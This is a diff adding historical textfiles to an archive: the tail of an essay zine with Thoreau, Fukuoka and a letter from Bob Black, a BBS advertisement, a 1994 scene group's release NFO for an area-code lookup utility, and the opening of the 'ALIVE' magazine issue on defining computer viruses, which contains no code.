considering + what one's dreams and expectations are, why the developments should be + so paltry. The news we hear, for the most part, is not news to our + genius. It is the stalest repition. You are often tempted to ask why + such stress is laid on a particular experience which you have had, -- + that, after twenty-five years, you should meet Hobbins, Registrar of + deeds, again on the sidewalk. Have you not budged an inch then? Such + is the daily news. Its facts appear to float on the atmosphere, + insignificant as the sporules of fungi, and impinge on some neglected + thallus, or surface of our minds, which affords a basis for them, and + hence a parasitic growth. We should wash ourselves clean of such news. + Of what consequence, though our planet explode, if there is no + character involved in the explosion? In health we have not the least + curiosity about such events. We do not live for idle amusement. I would + not run round a corner to see the world blow up. ... + + Not without a slight shudder at the danger, I often perceive how + near I had come to admitting into my mind the details of some trivial + affair, -- the news of the street; and I am astonished to observe how + willing men are to lumber their minds with such rubbish, -- to permit + idle rumors and incidents of the most insignificant kind to intrude on + ground which should be sacred to thought. Shall the mind be a public + arena, where the affairs of the street and the gossip of the tea-table + chiefly are discussed? Or shall it be a quarter of heaven itself, -- + an hypaethral temple, consecrated to the service of the gods? I find it + so difficult to dispose of the few facts which to me are significant, + that I hesitate to burden my attention with those which are insignifi- + cant, which only a divine mind could illustrate. Such is, for the most + part, the news in newspapers and conversation. It is important to + preserve the mind's chastity in this respect. Think of admitting the + details of a single case of the criminal court into our thoughts, to + stalk profanely through their very _sanctum_sanctorum_ for an hour, ay, + for many hours! to make a very barroom of the mind's inmost apartment, + as if for so long the dust of the street had occupied us, -- the very + street itself, with all its travel, and bustle, and filth, had passed + through our thoughts' shrine! Would it not be an intellectual and moral + suicide? When I have been compelled to sit spectator and auditor in a + court-room for some hours, and have seen my neighbors, who were not + compelled, stealing in from time to time, and tiptoeing about with + washed hands and faces, it has appeared to my mind's eye that, when + they took off their hats, their ears suddenly expanded into vast + hoppers for sound, between which even their narrow heads were crowded. + Like the vanes of windmills, they caught the broad but shallow stream + of sound, which, after a few titillating gyrations in their coggy + brains, passed out the other side. I wondered if, when they got home, + they were as careful to wash their ears as before their hands and + faces. It has seemed to me, at such a time, that the auditors and the + witnesses, the judge and the criminal at the bar, -- if I may presume + him guilty before he is convicted, -- were all equally criminal, and + a thunderbolt might be expected to descend and consume them all + together. + + By all kinds of traps and signboards, threatening the extreme + penalty of the divine law, exclude such trespassers from the only ground + which can be sacred to you. It is so hard to forget what it is worse + than useless to remember! If I am to be a thoroughfare, I prefer that + it be of the mountain brooks, the Parnassian streams, and not the town + sewers. There is inspiration, that gossip which comes to the ear of the + attentive mind from the courts of heaven. There is the profane and stale + revelation of the barroom and the police court. The same ear is fitted + to receive both communications. Only the character of the hearer + determines to which it shall be open, and to which closed. I believe + that the mind can be permanently profaned by the habit of attending to + trivial things, so that all our thoughts shall be tinged with + triviality. Our very intellect shall be macadamized, as it were, -- + its foundation broken into fragments for the wheels of travel to roll + over; and if you would know what will make the most durable pavement, + surpassing rolled stones, spruce blocks, and asphaltum, you have only + to look into some of our minds which have been subjected to this + treatment so long. + + If we have thus desecrated ourselves, -- as who has not? -- the + remedy will be by wariness and devotion to reconsecrate ourselves, and + make once more a fane of the mind. We should treat our minds, that is, + ourselves, as innocent and ingenuous children, whose guardians we are, + and be careful what objects and what subjects we thrust on their + attention. Read not the Times. Read the Eternities. Conventionalities + are at length as bad as impurities. Even the facts of science may dust + the mind by their dryness, unless they are in a sense effaced each + morning, or rather rendered fertile by the dews of fresh and living + truth. + + ...I saw, the other day, a vessel which had been wrecked, and many + lives lost, and her cargo of rags, juniper berries, and bitter almonds + were strewn along the shore. It seemed hardly worth the while to tempt + the dangers of the sea between Leghorn and New York for the sake of a + cargo of juniper berries and bitter almonds. America sending to the + Old World for her bitters! Is not the sea-brine, is not shipwreck, + bitter enough to make the cup of life go down here? Yet such, to a great + extent, is our boasted commerce; and there are those who style them- + selves statesmen and philosophers who are so blind as to think that + progress and civilization depend on precisely this kind of interchange + and activity, -- the activity of flies about a molasses-hogshead. Very + well, observes one, if men were oysters. And very well, answer I, if + men were mosquitoes. + + Lieutenant Herndon, whom our government sent to explore the + Amazon, and, it is said, to extend the area of slavery, observed that + there was wanting there "an industrious and active population, who + know what the comforts of life are, and who have artificial wants to + draw out the great resources of the country." But what are the + "artificial wants" to be encouraged? Not the love of luxuries, like + the tobacoo and slaves of, I believe, his native Virginia, nor the ice + and granite and other material wealth of our native New England; nor + are "the great resources of a country" that fertility or barrenness of + soil which produces these. The chief want, in every State that I have + been into, was a high and earnest purpose in its inhabitants. This + alone draws out "the great resources" of Nature, and at last taxes her + beyond her resources; for man naturally dies out of her. When we want + culture more than potatoes, and illumination more than sugar-plums, + then the great resources of a world are taxed and drawn out, and the + result, or staple production, is not slaves, nor operatives, but men, + -- those rare fruits called heroes, saints, poets, philosophers and + redeemers. + + In short, as a snow-drift is formed where there is a lull in the + wind, so, one would say, where there is a lull of truth, an institution + springs up. But the truth blows right on over it, nevertheless, and at + length blows it down. + + What is called politics is comparatively something so superficial + and inhuman, that practically I have never fairly recognized that it + concerns me at all. The newspapers, I perceive, devote some of their + columns specially to politics or government without charge; and this, + one would say, is all that saves it; but as I love literature and to + some extent the truth also, I never read those columns at any rate. + I do not wish to blunt my sense of right so much. I have not got to + answer for having read a single President's Message. A strange age of + the world this, when empires, kingdoms, and republics come a-begging + to a private man's door, and utter their complaints at his elbow! ... + + Those things which now most engage the attention of men, as + politics and the daily routine, are, it is true, vital functions of + human society, but should be unconsciously performed, like the + corresponding functions of the physical body. They are _infra_-human, + a kind of vegetation. I sometimes awake to a half-consciousness of + them going on about me, as a man may become conscious of some of the + process of digestion in a morbid state, and so have the dyspepsia, + as it is called. It is as if a thinker submitted himself to be rasped + by the great gizzard of creation. Poitics is, as it were, the gizzard + of society, full of grit and gravel, and the two political parties are + its two opposite halves, -- sometimes split into quarters, it may be, + which grind on each other. Not only individuals, but states, have thus + a confirmed dyspepsia, which expresses itself, you can imagine by what + sort of eloquence. Thus our life is not altogether a forgetting, but + also, alas! to a great extent, a remembering, of that which we should + never have been conscious of, certainly not in our waking hours. Why + should we not meet, not always as dyspeptics, to tell our bad dreams, + but sometimes as EUpeptics, to congratulate each other on the ever- + glorious morning? I do not make an exorbitant demand, surely. + + + ________________________________________________________________________ + + + + + Research for Whose Benefit? + by Masanobu Fukuoka + + Reprinted from _The_One-Straw_Revolution_ c 1978 by Masanobu Fukuoka + Permission granted by Rodale Press, Inc., Emmaus, PA 18098. + + When I first began direct-seeding rice and winter grain, I was + planning to harvest with a hand sickle and so I thought it would be + more convenient to set the seeds out in regular rows. After many + attempts, dabbling about as an amateur, I produced a handmade seeding + tool. Thinking that this tool might be of practical use to other farm- + ers, I brought it to the man at the testing center. He told me that + since we were in an age of large-sized machinery he could not be + bothered with my ``contraption.'' + + Next I went to a manufacturer of agricultural equipment. I was told + here that such a simple machine, no matter how much you tried to make of + it, could not be sold for more than $3.50 apiece. ``If we made a gadget + like that, the farmers might start thinking they didn't need the + tractors we sell for thousands of dollars.'' He said that nowadays the + idea is to invent rice planting machines quickly, sell them head over + heels for as long as possible, then introduce something newer. Instead + of small tractors, they wanted to change over to larger-sized models, + and my device was, to them, a step backward. To meet the demands of the + times, resources are poured into furthering useless research, and to + this day my patent remains on the shelf. + + It is the same with fertilizer and chemicals. Instead of developing + fertilizer with the farmer in mind, the emphasis is on developing some- + thing new, anything at all, in order to make money. After the tech- + nicians leave their jobs at the testing centers, they move right over + to work for the large chemical companies. + + Recently I was talking with Mr. Asada, a technical official in the + Ministry of Agriculture and Forestry, and he told me an interesting + story. The vegetables grown in hothouses are extremely unsavory. Hear- + ing that the eggplants shipped out in winter have no vitamins and the + cucumbers no flavor, he researched the matter and found the reason: + certain of the sun's rays could not penetrate the vinyl and glass + enclosures in which the vegetables were being grown. His investigation + moved over to the lighting system inside the hothouses. + + The fundamental question here is whether or not it is necessary for + human beings to eat eggplants and cucumbers during the winter. But, + this point aside, the only reason they are grown during the winter is + that they can be sold then at a good price. Somebody develops a means + to grow them, and after some time passes, it is found that these + vegetables have no nutritional value. Next, the technician thinks that + if the nutrients are being lost, a way must be found to prevent that + loss. Because the trouble is thought to be with the lighting system, + he begins to research light rays. He thinks everything will be all right + if he can produce a hothouse eggplant with vitamins in it. I was told + that there are some technicians who devote their entire lives to this + kind of research. + + Naturally, since such great efforts and resources have gone into + producing this eggplant, and the vegetable is said to be high in + nutritional value, it is tagged at an even higher price and sells well. + ``If it is profitable, and if you can sell it, there can't be anything + wrong with it.'' + + No matter how hard people try, they cannot improve upon naturally + grown fruits and vegetables. Produce grown in an unnatural way satisfies + people's fleeting desires but weakens the human body and alters the + body chemistry so that it is dependent on such foods. When this happens, + vitamin supplements and medicines become necessary. This situation only + creates hardships for the farmer and suffering for the consumer. + + + ________________________________________________________________________ + + + + + Retorts + audience contributions to the distillation process + + Dear Rick: + + I weary of working-classicists like Ralph Dumain deducing class + from consciousness and ethnicity from attitude without positioning + _themselves_ in the social grids they regard -- with seeming equanimity + -- as determinative. If all views are ``socially determined,'' so are + Dumain's and they must, pending arrival of his genealogy, resume and + income tax returns, be filed away for future (p)reference. On a polit- + ical scene where publishers owning a business bought with inherited + wealth impersonate ``dissident office workers'' I have learned not to + take class rhetoric as any evidence of class status; if anything the + correlation is negative. + + Ayn Rand, whom Dumain carelessly calls a ``fascist'' -- indicating + his own befuddlement with the political jargon he spouts -- agrees with + him that ``having no philosophy is impossible.'' Few intellectuals and + fewer workers agree. If anything, in this epoch of shreds and patches, + having _any_ philosophy is impossible. The philosophers, says Marx, + have only interpreted the world. The point is to change it, to change it + so radically that philosophy and other contemplative modes are realized + and suppressed. Philosophy is contemplative capitalism, the abstract + self-consciousness of the specialists in thought (formerly priests) + whom the social division of labor have assigned a privileged position + in every class society since Sumer and Egypt. No wonder Dumain defends + ``education.'' + + Emending the title of my essay ``Feminism as Fascism'' to refer to + ``radical'' feminism, suggested by Dumain, I actually did when I + published a revised version of this 1983 text three years ago. Next + revision, though, I plan to restore the original title but incorporate + some differentiation of my target from mainstream feminism which is + merely liberalism, an ideology I've assailed often enough elsewhere. + I don't plan to make refined distinctions between these equally obnox-- + ious variants so long as they discreetly downplay or disregard their own + differences in thrall to some hazy feeling of ``sisterhood'' whose + content, when it has any, is just anti-male resentment and whose real + impetus is probably just avoidance of boat-rocking. + + I'm puzzled by Dumain's caterwauling against my ``keeping company + with anarchist riffraff'' -- the sort of anarchists I _part_ company + with are the ones who think they have the kind of ``systematic phil- + osophy'' Dumain, unlike most people, can't live without. I publicly + broke ties with all avowedly anarchist publications and organizations + in 1985. Now I deal with everybody non-ideologically and on a case by + case basis. Labelling and self-labelling aren't very important to me, + although people to whom they _are_ very important -- like Dumain, who + coyly conceals his label -- tend to be my idea of ``riffraff.'' Anarch- + ism like Marxism is food for thought. Let's chow down and, like Popeye, + eat all the worms and spit out the germs. + + Yours in struggle (just kidding), + Bob Black + + + ________________________________________________________________________ + + + + + an Alembic Trigram : Using the Flow + + ``People constantly change as they acquire new knowledge and discover + new alternatives. But each person changes in harmony with his own + nature, in keeping with his own desires for change and growth, in ways + that make sense to _him_. Recognize each person you deal with as a + different, distinct, individual entity, and you won't have identity + problems.'' + -Harry Browne + _How_I_Found_Freedom_in_an_Unfree_World_ + + ``What is it that makes it so hard sometimes to determine whither we + will walk? I believe that there is a subtle magnetism in Nature, which, + if we unconsciously yield to it, will direct us aright. It is not + indifferent to us which way we will walk. There is a right way; but we + are very liable from heedlessness and stupidity to take the wrong one.'' + -Henry David Thoreau + _Walking_ + + ``Using the topography and geography of an area to protect yourself + requires harmony with your surroundings.'' + -Ragnar Benson + _The_Survival_Retreat_ + + + ________________________________________________________________________ + + + + thus endeth the third Alembic. + + + + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron 415-935-5845 + Just Say Yes 415-922-2008 + Rat Head 415-524-3649 + Cheez Whiz 408-363-9766 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + + + \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/alf.nfo b/textfiles.com/magazines/MISC/alf.nfo new file mode 100644 index 00000000..f1ea8edb --- /dev/null +++ b/textfiles.com/magazines/MISC/alf.nfo @@ -0,0 +1,116 @@ + + + ÜÜÛÛÛÛÛÛÛÛÛÜ ÜÜÛÛÛÛÜ ÜÜÜÛÛÛÛÛÛÛÛÛ²²±Ü + ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ ÛÛÛÛÛÛÛÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²±±Ü + ÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜÞÛÛÛÛÛÛÛÝ ÛÛÛÛÛÛÛÛÛÛßß²ÛÛÛÛ±±°Ý + ÛÛÛÛÛÛÛß ßÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÞÛÛÛÛÛÛÛß Û²²±°°Û + ÞÛÛÛÛ²²ß ÞÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÞÛÛÛÛÛÛß ßßßßß + ÛÛÛÛ²²± ÛÛÛÛÛÛÝÛÛÛÛÛÛÝ ÛÛÛÛÛÛÛ + Ü ²²² ²Û²²±±Ý ܱ±² ÛÛÛÛÛÛÝÛÛÛÛÛÛÛ Û°±²Û²±°Ý²ÛÛÛÛÛÝÞ°ÛÛÛÛÛÛÛÛÛ²±°Ü + Þ°±±²ÛÞ²ÛÛÛÛÛ Þ±²Û°ÝÛÛÛÛ۲ݱ²ÛÛÛÛÛÝ°±±²ßßßßÛÞ²ÛÛÛÛÛ °±²ÛÛÛÛÛÛÛÛÛ±°Ý + ß°°²ßÞÛÛÛÛÛ²ÝÞ±±²°ÝÛÛÛÛ²±ÝÛ±²ÛÛÛÛÝßßÜܲ±°°ÜÞÛÛÛÛÛ²ÝÛ°±²ÛÛÛÛÛÛ²²°ß + ÞÛÛÛÛ²±Ý ÛÛÛÛ²±ÝÛ±²²ÛÛÛÛÛÛÛÛÛ±±²°ÝÛÛÛÛ²±ÝPS + ÞÛÛÛ²±°Ý ÛÛÛ²±°ÝÞ°±²²ÛÛÛÛÛÛÛÛ²±±°°ÞÛÛ²±°Ý + Þ±²²²±°Ý ÛÛ²±±°°Þ°°±±²²²²²²²²²±°°Ý±²²²±°Ý + °±±±°°Ý ß²±±°°ß ßß°°°°°±²²±±°°°ß °±±±°°Ý + ßßßß ßßß ßßßßßßß ßßßß + + A N T i - L A M E R S F O U N D A T i O N + + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ ù/\/ RELEASE iNFORMATiON \/\ù ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +³ ³ +³ TITLE: AC-FiND v1.O ³ C0DER/CRACKER: NONE ³ +³ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄij +³ RELEASED: 7-23-94 ³ SUPPLIER: PHYSiCAL SOLUTiON ³ +³ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄij +³ WHAT KiNDA RELEASE : [ ] .PPE [X] UTiL [ ] GAME/DEMO ³ +³--------------------- * Additional Release Info * -------------------------³ +³ Well, here it is, the very sleekest, fastest, most comprehensive database ³ +³ of area codes in the US and Canada. Nice util by me to search a list of ³ +³ area codes and print out the state/province the area code is in. ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +³---------------------- * -- [ GROUP NEWS! ] --- * -------------------------³ +³ The "Anti Lamers Foundation" would like to welcome Deuce's Wild to the ³ +³ ALF Senior MemberShip Position... And Back as courier is Mr. Mahem... ³ +³ Welcome aboard guys... Things have just begun! ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ ù/\/ ANTi LAMERS FOUNDATiON STAFF! \/\ù ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +³ ³ +³ Founder and President : MR. PHiLLiE ³ +³ ³ +³ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Senior Members ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ +³ ³ +³ The Captain -/- Crack Head -/- Catastrophic Visions -/- Deuce's Wild ³ +³ ³ +³ ³ +³ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Courier Members! ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ +³ ³ +³ Catastrophic Visions, Techno J, Eaz, Darkhold Redeemer, Mr. Mahem ³ +³ Mad Scientist, Lord Jazz, Crack Head, The Mystic, Zero Option ³ +³ ³ +³ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Coding/PPE Team! ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ +³ ³ +³ Jim Jones -/- Physical Solution -/- Phycho Dad -/- Riptide -/- Catonica ³ +³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ ù/\/Ä-- ANTi LAMER HEADQUARTERS -Ä-\/\ù ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +ÚÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄ Ä ù ù Ä ÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄÄ¿ +³ © SYSTEM NAME ª © AC/ NUMBER ª © SYSOP ª © NODES ª © POSiTiON ª ³ +ÚÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄ Ä ù ù Ä ÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄÄ¿ +³ Channel-X-Press (YOU)ALL-WiSH <\/>r. Phillie [5] WORLD HQ ³ +³ World Trade Center (YOU)ALL-WiSH Crack Head [3] COURIER HQ ³ +³ The Ghostship (YOU)ALL-WiSH The Captain [5] CANADiAN HQ ³ +³ IN SEARCH FOR A? (xxx)xxx-xxxx ............ [?] EASTERN HQ ³ +³ IN SEARCH FOR A? (xxx)xxx-xxxx ............ [?] USA HQ ³ +³ IN SEARCH FOR A? (xxx)xxx-xxxx ............ [?] WESTERN HQ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ ù/\/Ä-- ANTi LAMER MEMBER BBS's -Ä-\/\ù ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +ÚÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄ Ä ù ù Ä ÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄÄ¿ +³ © SYSTEM NAME ª © AC/ NUMBER ª © SYSOP ª © NODES ª © POSiTiON ª ³ +ÚÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄ Ä ù ù Ä ÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄÄ¿ +³ World Of Chaos (201)xxx-xxxx Phycho Dad [3] DiSTRO SiTE ³ +³ Suicidal Illusion (301)xxx-xxxx Mr. Dna [2] DiSTRO SiTE ³ +³ The Dead Landz (214)xxx-xxxx Dong Silver [2] DiSTRO SiTE ³ +³ The Underworld BBS (514)xxx-xxxx Tiger's Claw [5] DiSTRO SiTE ³ +³ Hysteria (914)xxx-xxxx Leadfoot [2] DiSTRO SiTE ³ +³ R.O.T.D (905)xxx-xxxx Jim Jones [1] DiSTRO SiTE ³ +³ Kiss Of Death (518)xxx-xxxx Rogue [5] DiSTRO SiTE ³ +³ The Dark Side (609)xxx-xxxx P. Solution [1] DiSTRO SiTE ³ +³ The Warp Zone (909)xxx-xxxx OddBall [4] DiSTRO SiTE ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +* SPECiAL GREETS +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + Fuck all who don't greet us in their NFO's! Peace To Ourselves, Because + There Are A Whole Bunch Of Selfish Groups Out There That Can't Say "Whats + Up," To One Of The Fastest Growing Groups On The Scene! + +* PERSONAL GREETS +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + The Whole Fucking Alf Krew! + +* TO JOIN ALF : +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +Logon To Channel-X-Press, Home & WHQ Of ALF at 914.651.5048 ... + +Handle : ANTi LAMER PASSWORD : ALF + +Once On The System, Leave A (C)omment to The Sysop Or (U)pload your app, +So The ALF Staff Is To See What Is Coming... Thx, Peace, Adios! + + ==== * NOTiCE * ==== + + ( Alf is currently looking for some *RELIABLE* couriers to recruit ) + ( Please Do Not Waste Our Time, If Your Serious, Apply Now! ) + +===[ AlŸ, Not Only Picking Up The Pieces, But Also Putting Them Together ]=== + diff --git a/textfiles.com/magazines/MISC/alive_0.txt b/textfiles.com/magazines/MISC/alive_0.txt new file mode 100644 index 00000000..469f2535 --- /dev/null +++ b/textfiles.com/magazines/MISC/alive_0.txt @@ -0,0 +1,590 @@ + ============================================================== + + March, 1994. Volume I, Issue 0 + + ============================================================== + + CONTENTS: + + + 1. "ALIVE" next host to you (a word of introduction) + 2. Results of Contest for the Best Virus Definition in technical + categories + 3. Puzzle - is this piece of (pseudo)code a sign of "life" ? + 4. A comment on Cohen's theorem about undecidability of viral detection + ..................................Dr Franz X. Steinparz + + + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + % % + % ALIVE, Copyright 1994. By Suzana Stojakovic-Celustka % + % This magazine may be archived and reproduced without charge % + % throughout Cyberspace under the condition that it is left % + % in its entirety. Send submissions, comments, etc. to % + % celust@cslab.felk.cvut.cz and subscription requests to % + % mxserver@ubik.demon.co.uk % + % % + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + +*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+* + +1. "ALIVE" next host to you (a word of introduction) +==================================================== + +Dear Readers! + +I guess you are already impatient to find out what "Alive" is. Calm down till +I tell you something about its history. + +So, once upon a time...actually about a year ago I started a long search for +the best definition of a computer virus. Surprisingly, it wasn't an easy +task. Discussions on Virus-L and some private discussions didn't bring any +satisfying results. I even started the Contest for the Best Virus Definition +in despair. Well, the prizes were rather symbolic and probably it caused a +low response. Never mind. All those attempts to answer the question : "What +is a computer virus ?" only opened new questions. It appeared that computer +viruses could be considered as members of a big family of so called +"artificial life". Naturally, new questions were: "What is artificial life?", +then "How to define a life?", etc. + +This magazine is one more try to find answers to some questions. The search +for the best definition of computer virus will be continued. It is a general +opinion that computer viruses are inherently malicious software. The +possibility of viruses to be beneficial will be (hopefully) discussed here. +However, protection against malicious viruses will not be neglected. This +magazine will try to introduce new ways of protection, e.g. "immune systems". +The question "What can be 'alive' in a computer environment ?" will be +repeated in all possible variations as long as wish to find answers exists. +The examples or descriptions of "liveware" will be presented here as soon as +they appear. Probably some new topics will arise as "Alive" progresses. And, +of course, I expect a lot of fun for both readers and contributors. + +About this issue: +----------------- + +This is 0th issue or beta version of "Alive". It means - feel free to +criticise every detail in it (in a civilized and constructive way, of +course). + +The first topic is presentation of results from Contest for the Best Virus +Definition in technical categories. The Contest was announced in April last +year on Virus-L. Originally it had 8 categories: 1. Technical definition in +plain language, 2. Technical definition - mathematical, 3. Legislative +definition, 4. Ethical definition, 5. Philosophical definition, 6. Poetical +definition, 7. Funny definition and 8. Other definitions. The response was +significant only in the first two categories and (surprisingly) in the +poetical one.The jury for technical categories worked hard and the results +of its voting are presented here. Regretfully, it will not be possible to +publish many of the valuable comments that members of the jury gave during +their work. I wish to thank the members of the jury again for their efforts +and to all contributors to the Contest for their contributions. + +The second topic is a kind of puzzle. It concerns one of the standard +distributed algorithms which could be possibly considered as a sign of +"life". The readers are asked to help to find a solution. + +The third contribution is an article which is rewritten here without +permission from something which looks like a copy of an internal document +from Johannes Kepler University, Linz. I hope that one day I will find the +author's address and that he will have nothing against publishing his article +in "Alive". The article has a very interesting conclusion and I am not going +to tell you anything in advance. Just read it! + + +About contributions and subscriptions: +-------------------------------------- + +Preferred form of contributions are short articles or previews. Comments on +contributions will be deeply appreciated, but will be published only if they +have a convenient form. This is -not- a place for polemics or blames, so +please don't send your comments if you have nothing constructive to say. The +preferred form of code examples is pseudo-code. The code of existing viruses +which somebody could consider beneficial will not be published here. Send +your contributions and comments to celust@cslab.felk.cvut.cz + +Subscriptions requests should be sent to mxserver@ubik.demon.co.uk + + +Ftp sites: +---------- + +The magazine will be available for anonymous ftp from following sites: + +ftp.informatik.uni-hamburg.de in /pub/virus/texts/alive +ftp.demon.co.uk in /pub/antivirus/journal/alive + +Any offer from other sites will be appreciated. + +About editor: +------------- + +The editor is currently a Ph.D student on Computer Department, Faculty of +Electrical Engineering, Czech Technical University in Prague. Is working on +her Ph.D thesis and hoping that "Alive" will bring a lot of useful material +and a lot of fun. + + +So, dear readers, enjoy the reading and make your copy of "Alive" really +alive: SPREAD IT WIDELY! + +*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+* + + "Life is all memory, except for the one present moment + that goes by so quick you can hardly catch it going." + + - Tennessee Williams - + +*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+*=*+* + + +2. The results of the Contest for the Best Virus Definition in technical +======================================================================== + categories +============== + +The members of jury for the first two categories from Contest for the Best +Virus Definition (1. Technical definition in plain language, 2. Mathematical +technical definition) were: + +1. Vesselin Bontchev, VTC Hamburg, Germany + e-mail bontchev@informatik.uni-hamburg.de + +2. Anthony Naggs, consultant, UK + e-mail amn@ubik.demon.co.uk + +3. Yaron Goland, U.C.L.A, USA + e-mail ygoland@SEAS.UCLA.EDU + +4. Roberto Reymond, IBM C.E.R.T., Italy + e-mail rreymond@vnet.IBM.COM + +The guidelines were: +-------------------- + +1. Technical definition (in plain language - preferably English) + +- The definition should be concise, without reference to the user's state +of mind and free of value judgements, e.g. "good", "bad", "beneficial". +The definition should be unambiguous, and include a statement of the +environment to which it applies, (e.g. the operating system). + +2. Technical definition (mathematical) + +- The meaning of every symbol in mathematical formula(s) should be clearly +explained. + +The jury used the following evaluation scale: +--------------------------------------------- + +1 